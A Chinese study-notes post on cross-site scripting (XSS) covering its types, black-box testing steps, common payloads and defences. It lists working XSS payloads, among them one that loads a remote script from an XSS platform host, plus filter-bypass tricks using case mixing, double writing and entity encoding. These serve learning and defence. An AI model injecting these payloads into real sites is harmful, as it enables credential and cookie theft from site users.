XSS学习笔记


1 什么是XSS

XSS(Cross Site Scripting)攻击即跨站脚本攻击。通过利用网页开发时留下的漏洞,用巧妙地方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。

2 XSS原理

攻击者在页面上插入xss代码,服务端将数据存入数据库,当用户访问到存在xss漏洞的页面时,服务端从数据库中取出数据展示到页面上,导致xss代码执行,达到攻击效果。

3 XSS分类

XSS分为三类:存储型XSS、反射型XSS、DOM型XSS

1.1 存储型

存储型XSS是持久性XSS,具有很强的稳定性。
攻击者将XSS脚本写入web应用程序的数据库,用户在使用浏览器浏览访问包含存储型XSS代码的网页时,XSS脚本就会执行,从而达到攻击的效果。

1.2 反射型

反射型XSS就是将用户输入的数据(恶意用户输入的js脚本),“反射”到浏览器执行。
通常是攻击者通过在网页上植入恶意链接,诱使用户点击,执行js脚本,从而达到攻击效果。

1.3 DOM型

DOM型XSS是通过前端JavaScript将XSS脚本写入dom节点中,从而触发XSS攻击。

4 测试方法(黑盒)

  1. 找到输入点和输出点,确认输入点提交信息是否在后台进行处理。
  2. 构造payload,通过源代码判断当前输入点的格式(部分waf会对js、文件进行混淆)。
  3. 观察闭合、过滤和拦截情况。通过script的各种过滤手段(如双写、大小写、实体编码等)模糊测试当前参数位的过滤情况。
  4. 重新构造payload。
  5. 如不成功,则重复第3、4步骤。

5 常用语句模板

<script>alert(1);</script>	//直接嵌入script
<script src=https://xsspt.com/1.js>alert|confirm|prompt(1)</script>	//从远程嵌入script
<input name=keyword value="" onmouseover="alert(1)">	//通过事件属性值传入script字符串
<input onfocus=write(1) autofocus>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>aaa</a>	//超链接
<a href=javasc&#114;ipt:alert(1)>aaa</a>	//html实体转义

6 绕过方法

  • 大小写绕过
<sCRiPt>alert(1)</ScRipT>
  • 双写绕过
<scriptscript>alert(1)</scriptscript>
  • 编码绕过
javascrip&#x74;:alert(1)	//javascript:alert(1)
  • ()被过滤用``代替
  • 生僻函数绕过
  • 同源绕过(详情了解同源策略)

7 XSS的危害

XSS能够产生的危害依赖于浏览器客户端脚本解析引擎的能力。
1.1 技术上

  1. 窃取凭证、键盘记录、截屏、开摄像头(根据权限有几率)、获取敏感信息
  2. 篡改DOM(篡改页面布局及内容)
  3. 嵌入恶意脚本代码
  4. 发起恶意请求(Ajax)

1.2 社会影响上

  1. 无账号密码的情况下非法登录网站
  2. 网络钓鱼
  3. 网页蠕虫
  4. 破解CSRF的token限制

8 防御思路

1.1 白名单策略
使用白名单写死允许的标签和事件规则
1.2 黑名单策略(不可靠)

  1. 使用htmlspecialchars()函数,自定义预定义符号进行转义"、’、/、<、>、=,且过滤标签、时间函数名和其各种编码形式。
  2. 采用成熟的防御XSS的框架。
  3. 服务端添加http-only头下发到客户端(防止js调用cookie)、使用同源策略。
  4. 采用最新版本浏览器。

仅供个人学习。参考源自网络

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值